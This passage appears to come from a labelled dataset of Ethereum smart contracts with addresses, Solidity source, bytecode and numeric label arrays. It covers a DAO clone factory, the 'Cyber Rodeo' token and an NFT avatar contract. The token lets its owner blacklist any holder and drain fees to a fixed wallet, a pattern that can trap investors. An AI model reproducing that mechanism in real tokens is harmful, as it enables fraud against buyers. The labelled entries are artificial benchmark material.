= members[recipient].loot.add(lootToTransfer); balanceOf[msg.sender] = balanceOf[msg.sender].sub(lootToTransfer); balanceOf[recipient] = balanceOf[recipient].add(lootToTransfer); emit Transfer(msg.sender, recipient, lootToTransfer); return true; } function transferFrom(address sender, address recipient, uint256 lootToTransfer) external returns (bool) { allowance[sender][msg.sender] = allowance[sender][msg.sender].sub(lootToTransfer); members[sender].loot = members[sender].loot.sub(lootToTransfer); members[recipient].loot = members[recipient].loot.add(lootToTransfer); balanceOf[sender] = balanceOf[sender].sub(lootToTransfer); balanceOf[recipient] = balanceOf[recipient].add(lootToTransfer); emit Transfer(sender, recipient, lootToTransfer); return true; } } /* The MIT License (MIT) Copyright (c) 2018 Murray Software, LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ contract CloneFactory { // MSTX implementation of eip-1167 - see https://eips.ethereum.org/EIPS/eip-1167 function createClone(address payable target) internal returns (address payable result) { bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), targetBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) result := create(0, clone, 0x37) } } } contract MSTXSummoner is CloneFactory { address payable public immutable template; constructor(address payable _template) public { template = _template; } event SummonMSTX(address indexed mstx, address depositToken, address stakeToken, address[] summoner, uint256[] summonerShares, uint256 summoningDeposit, uint256 proposalDeposit, uint256 processingReward, uint256 periodDuration, uint256 votingPeriodLength, uint256 gracePeriodLength, uint256 dilutionBound, uint256 summoningTime); function summonMSTX( address _depositToken, address _stakeToken, address[] memory _summoner, uint256[] memory _summonerShares, uint256 _summonerDeposit, uint256 _proposalDeposit, uint256 _processingReward, uint256 _periodDuration, uint256 _votingPeriodLength, uint256 _gracePeriodLength, uint256 _dilutionBound ) external returns (address) { MSTX mstx = MSTX(createClone(template)); mstx.init( _depositToken, _stakeToken, _summoner, _summonerShares, _summonerDeposit, _proposalDeposit, _processingReward, _periodDuration, _votingPeriodLength, _gracePeriodLength, _dilutionBound ); require(IERC20(_depositToken).transferFrom(msg.sender, address(mstx), _summonerDeposit), "!transfer"); // transfer summoner deposit to new MSTX emit SummonMSTX(address(mstx), _depositToken, _stakeToken, _summoner, _summonerShares, _summonerDeposit, _proposalDeposit, _processingReward, _periodDuration, _votingPeriodLength, _gracePeriodLength, _dilutionBound, now); return address(mstx); } }
0x608060405234801561001057600080fd5b50600436106100365760003560e01c80636f2ddd931461003b578063ac8eee491461005f575b600080fd5b6100436101c3565b604080516001600160a01b039092168252519081900360200190f35b610043600480360361016081101561007657600080fd5b6001600160a01b0382358116926020810135909116918101906060810160408201356401000000008111156100aa57600080fd5b8201836020820111156100bc57600080fd5b803590602001918460208302840111640100000000831117156100de57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561012e57600080fd5b82018360208201111561014057600080fd5b8035906020019184602083028401116401000000008311171561016257600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295505082359350505060208101359060408101359060608101359060808101359060a08101359060c001356101e7565b7f000000000000000000000000bf318f2ad5accffe6bf1aec638053cf0b10a778181565b6000806102137f000000000000000000000000bf318f2ad5accffe6bf1aec638053cf0b10a7781610559565b9050806001600160a01b031663a42e01c18e8e8e8e8e8e8e8e8e8e8e6040518c63ffffffff1660e01b8152600401808c6001600160a01b031681526020018b6001600160a01b0316815260200180602001806020018a815260200189815260200188815260200187815260200186815260200185815260200184815260200183810383528c818151815260200191508051906020019060200280838360005b838110156102ca5781810151838201526020016102b2565b5050505090500183810382528b818151815260200191508051906020019060200280838360005b838110156103095781810151838201526020016102f1565b505050509050019d5050505050505050505050505050600060405180830381600087803b15801561033957600080fd5b505af115801561034d573d6000803e3d6000fd5b505050508c6001600160a01b03166323b872dd33838c6040518463ffffffff1660e01b815260040180846001600160a01b03168152602001836001600160a01b031681526020018281526020019350505050602060405180830381600087803b1580156103b957600080fd5b505af11580156103cd573d6000803e3d6000fd5b505050506040513d60208110156103e357600080fd5b5051610422576040805162461bcd60e51b815260206004820152600960248201526810ba3930b739b332b960b91b604482015290519081900360640190fd5b806001600160a01b03167f2baad728dbdf352141f2c12bab939246dabf4537e2b6c9a3c495de173887526c8e8e8e8e8e8e8e8e8e8e8e42604051808d6001600160a01b031681526020018c6001600160a01b0316815260200180602001806020018b81526020018a815260200189815260200188815260200187815260200186815260200185815260200184815260200183810383528d818151815260200191508051906020019060200280838360005b838110156104eb5781810151838201526020016104d3565b5050505090500183810382528c818151815260200191508051906020019060200280838360005b8381101561052a578181015183820152602001610512565b505050509050019e50505050505050505050505050505060405180910390a29c9b505050505050505050505050565b6000808260601b9050604051733d602d80600a3d3981f3363d3d373d3d3d363d7360601b81528160148201526e5af43d82803e903d91602b57fd5bf360881b60288201526037816000f094935050505056fea2646970667358221220ecff648bcba4a755f92101852d91d617b9a9ba6c5ac704726c3fde4f41767d8664736f6c634300060c0033
[ 13, 4, 9, 7 ]
0xf2629c161fb4dca813bd212164ce79e27e45dd5b
/** Cyber Rodeo */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract CyberRodeo is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 2000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Cyber Rodeo"; string private constant _symbol = "CYBER"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xfBB6CE81E663c9a760B8b7Ff983bAbcb68337eAe); _feeAddrWallet2 = payable(0xfBB6CE81E663c9a760B8b7Ff983bAbcb68337eAe); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0xfBB6CE81E663c9a760B8b7Ff983bAbcb68337eAe), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 1; _feeAddr2 = 1; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 1; _feeAddr2 = 1; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 20000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102c8578063b515566a146102e8578063c3c8cd8014610308578063c9567bf91461031d578063dd62ed3e1461033257600080fd5b806370a082311461023d578063715018a61461025d5780638da5cb5b1461027257806395d89b411461029a57600080fd5b8063273123b7116100d1578063273123b7146101ca578063313ce567146101ec5780635932ead1146102085780636fc3eaec1461022857600080fd5b806306fdde031461010e578063095ea7b31461015457806318160ddd1461018457806323b872dd146101aa57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600b81526a437962657220526f64656f60a81b60208201525b60405161014b91906117bc565b60405180910390f35b34801561016057600080fd5b5061017461016f36600461165c565b610378565b604051901515815260200161014b565b34801561019057600080fd5b50686c6b935b8bbd4000005b60405190815260200161014b565b3480156101b657600080fd5b506101746101c536600461161b565b61038f565b3480156101d657600080fd5b506101ea6101e53660046115a8565b6103f8565b005b3480156101f857600080fd5b506040516009815260200161014b565b34801561021457600080fd5b506101ea610223366004611754565b61044c565b34801561023457600080fd5b506101ea610494565b34801561024957600080fd5b5061019c6102583660046115a8565b6104c1565b34801561026957600080fd5b506101ea6104e3565b34801561027e57600080fd5b506000546040516001600160a01b03909116815260200161014b565b3480156102a657600080fd5b5060408051808201909152600581526421aca122a960d91b602082015261013e565b3480156102d457600080fd5b506101746102e336600461165c565b610557565b3480156102f457600080fd5b506101ea610303366004611688565b610564565b34801561031457600080fd5b506101ea6105fa565b34801561032957600080fd5b506101ea610630565b34801561033e57600080fd5b5061019c61034d3660046115e2565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103853384846109f4565b5060015b92915050565b600061039c848484610b18565b6103ee84336103e9856040518060600160405280602881526020016119a8602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e65565b6109f4565b5060019392505050565b6000546001600160a01b0316331461042b5760405162461bcd60e51b815260040161042290611811565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104765760405162461bcd60e51b815260040161042290611811565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104b457600080fd5b476104be81610e9f565b50565b6001600160a01b03811660009081526002602052604081205461038990610f24565b6000546001600160a01b0316331461050d5760405162461bcd60e51b815260040161042290611811565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610385338484610b18565b6000546001600160a01b0316331461058e5760405162461bcd60e51b815260040161042290611811565b60005b81518110156105f6576001600660008484815181106105b2576105b2611958565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105ee81611927565b915050610591565b5050565b600c546001600160a01b0316336001600160a01b03161461061a57600080fd5b6000610625306104c1565b90506104be81610fa8565b6000546001600160a01b0316331461065a5760405162461bcd60e51b815260040161042290611811565b600f54600160a01b900460ff16156106b45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610422565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106f13082686c6b935b8bbd4000006109f4565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561072a57600080fd5b505afa15801561073e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076291906115c5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107aa57600080fd5b505afa1580156107be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e291906115c5565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082a57600080fd5b505af115801561083e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086291906115c5565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d7194730610892816104c1565b6000806108a76000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561090a57600080fd5b505af115801561091e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610943919061178e565b5050600f80546801158e460913d0000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109bc57600080fd5b505af11580156109d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f69190611771565b6001600160a01b038316610a565760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610422565b6001600160a01b038216610ab75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610422565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b7c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610422565b6001600160a01b038216610bde5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610422565b60008111610c405760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610422565b6001600a819055600b556000546001600160a01b03848116911614801590610c7657506000546001600160a01b03838116911614155b15610e55576001600160a01b03831660009081526006602052604090205460ff16158015610cbd57506001600160a01b03821660009081526006602052604090205460ff16155b610cc657600080fd5b600f546001600160a01b038481169116148015610cf15750600e546001600160a01b03838116911614155b8015610d1657506001600160a01b03821660009081526005602052604090205460ff16155b8015610d2b5750600f54600160b81b900460ff165b15610d8857601054811115610d3f57600080fd5b6001600160a01b0382166000908152600760205260409020544211610d6357600080fd5b610d6e42601e6118b7565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610db35750600e546001600160a01b03848116911614155b8015610dd857506001600160a01b03831660009081526005602052604090205460ff16155b15610de8576001600a819055600b555b6000610df3306104c1565b600f54909150600160a81b900460ff16158015610e1e5750600f546001600160a01b03858116911614155b8015610e335750600f54600160b01b900460ff165b15610e5357610e4181610fa8565b478015610e5157610e5147610e9f565b505b505b610e60838383611131565b505050565b60008184841115610e895760405162461bcd60e51b815260040161042291906117bc565b506000610e968486611910565b95945050505050565b600c546001600160a01b03166108fc610eb983600261113c565b6040518115909202916000818181858888f19350505050158015610ee1573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610efc83600261113c565b6040518115909202916000818181858888f193505050501580156105f6573d6000803e3d6000fd5b6000600854821115610f8b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610422565b6000610f9561117e565b9050610fa1838261113c565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ff057610ff0611958565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561104457600080fd5b505afa158015611058573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107c91906115c5565b8160018151811061108f5761108f611958565b6001600160a01b039283166020918202929092010152600e546110b591309116846109f4565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110ee908590600090869030904290600401611846565b600060405180830381600087803b15801561110857600080fd5b505af115801561111c573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e608383836111a1565b6000610fa183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611298565b600080600061118b6112c6565b909250905061119a828261113c565b9250505090565b6000806000806000806111b387611308565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111e59087611365565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461121490866113a7565b6001600160a01b03891660009081526002602052604090205561123681611406565b6112408483611450565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161128591815260200190565b60405180910390a3505050505050505050565b600081836112b95760405162461bcd60e51b815260040161042291906117bc565b506000610e9684866118cf565b6008546000908190686c6b935b8bbd4000006112e2828261113c565b8210156112ff57505060085492686c6b935b8bbd40000092509050565b90939092509050565b60008060008060008060008060006113258a600a54600b54611474565b925092509250600061133561117e565b905060008060006113488e8787876114c9565b919e509c509a509598509396509194505050505091939550919395565b6000610fa183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e65565b6000806113b483856118b7565b905083811015610fa15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610422565b600061141061117e565b9050600061141e8383611519565b3060009081526002602052604090205490915061143b90826113a7565b30600090815260026020526040902055505050565b60085461145d9083611365565b60085560095461146d90826113a7565b6009555050565b600080808061148e60646114888989611519565b9061113c565b905060006114a160646114888a89611519565b905060006114b9826114b38b86611365565b90611365565b9992985090965090945050505050565b60008080806114d88886611519565b905060006114e68887611519565b905060006114f48888611519565b90506000611506826114b38686611365565b939b939a50919850919650505050505050565b60008261152857506000610389565b600061153483856118f1565b90508261154185836118cf565b14610fa15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610422565b80356115a381611984565b919050565b6000602082840312156115ba57600080fd5b8135610fa181611984565b6000602082840312156115d757600080fd5b8151610fa181611984565b600080604083850312156115f557600080fd5b823561160081611984565b9150602083013561161081611984565b809150509250929050565b60008060006060848603121561163057600080fd5b833561163b81611984565b9250602084013561164b81611984565b929592945050506040919091013590565b6000806040838503121561166f57600080fd5b823561167a81611984565b946020939093013593505050565b6000602080838503121561169b57600080fd5b823567ffffffffffffffff808211156116b357600080fd5b818501915085601f8301126116c757600080fd5b8135818111156116d9576116d961196e565b8060051b604051601f19603f830116810181811085821117156116fe576116fe61196e565b604052828152858101935084860182860187018a101561171d57600080fd5b600095505b838610156117475761173381611598565b855260019590950194938601938601611722565b5098975050505050505050565b60006020828403121561176657600080fd5b8135610fa181611999565b60006020828403121561178357600080fd5b8151610fa181611999565b6000806000606084860312156117a357600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156117e9578581018301518582016040015282016117cd565b818111156117fb576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118965784516001600160a01b031683529383019391830191600101611871565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118ca576118ca611942565b500190565b6000826118ec57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561190b5761190b611942565b500290565b60008282101561192257611922611942565b500390565b600060001982141561193b5761193b611942565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104be57600080fd5b80151581146104be57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122064568817961d921e5cfa33de61fec2899cbe97bec61f1d3daceb1f6fd50d48c364736f6c63430008070033
[ 13, 5 ]
0xf262A3b2A6973dB844B6C82187D917E3B7A89170
// SPDX-License-Identifier: MIT pragma solidity ^0.8.13; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract Avatars is Context, ERC721URIStorage, ERC721Enumerable, Ownable { /** * Initializes the smart contract. */ constructor() ERC721("Autentica Avatars", "AUT") {} /** * @dev Mints a new token. * * @param uri Token URI. * * See {ERC721-_mint}. * * Requirements: * * - The caller must be the contract owner. */ function mint(string memory uri) external onlyOwner returns (uint256) { address creator = _msgSender(); // Mint uint256 tokenId = totalSupply() + 1; _safeMint(creator, tokenId); _setTokenURI(tokenId, uri); return tokenId; } /** * Returns the Uniform Resource Identifier (URI) for a token. * * @param tokenId Token ID for which to return the URI. * * Requirements: * * - Token must exist. */ function tokenURI(uint256 tokenId) public view virtual override(ERC721, ERC721URIStorage) returns (string memory) { return super.tokenURI(tokenId); } /** * @dev Sets `uri` as the tokenURI of `tokenId`. Useful when we want to migrate a token to IPFS. * * @param tokenId Token ID for which to set the URI. * @param uri The URI to set to the `tokenId`. * * Requirements: * * - `tokenId` must exist. * - The caller must own `tokenId`. */ function setTokenURI(uint256 tokenId, string memory uri) external { address owner = ERC721.ownerOf(tokenId); require( owner == _msgSender(), "Avatars: caller is not owner" ); _setTokenURI(tokenId, uri); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } /** * @dev See {ERC721-_burn}. */ function _burn(uint256 tokenId) internal virtual override(ERC721, ERC721URIStorage) { super._burn(tokenId); } /** * Hook that is called before any token transfer. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override(ERC721, ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // 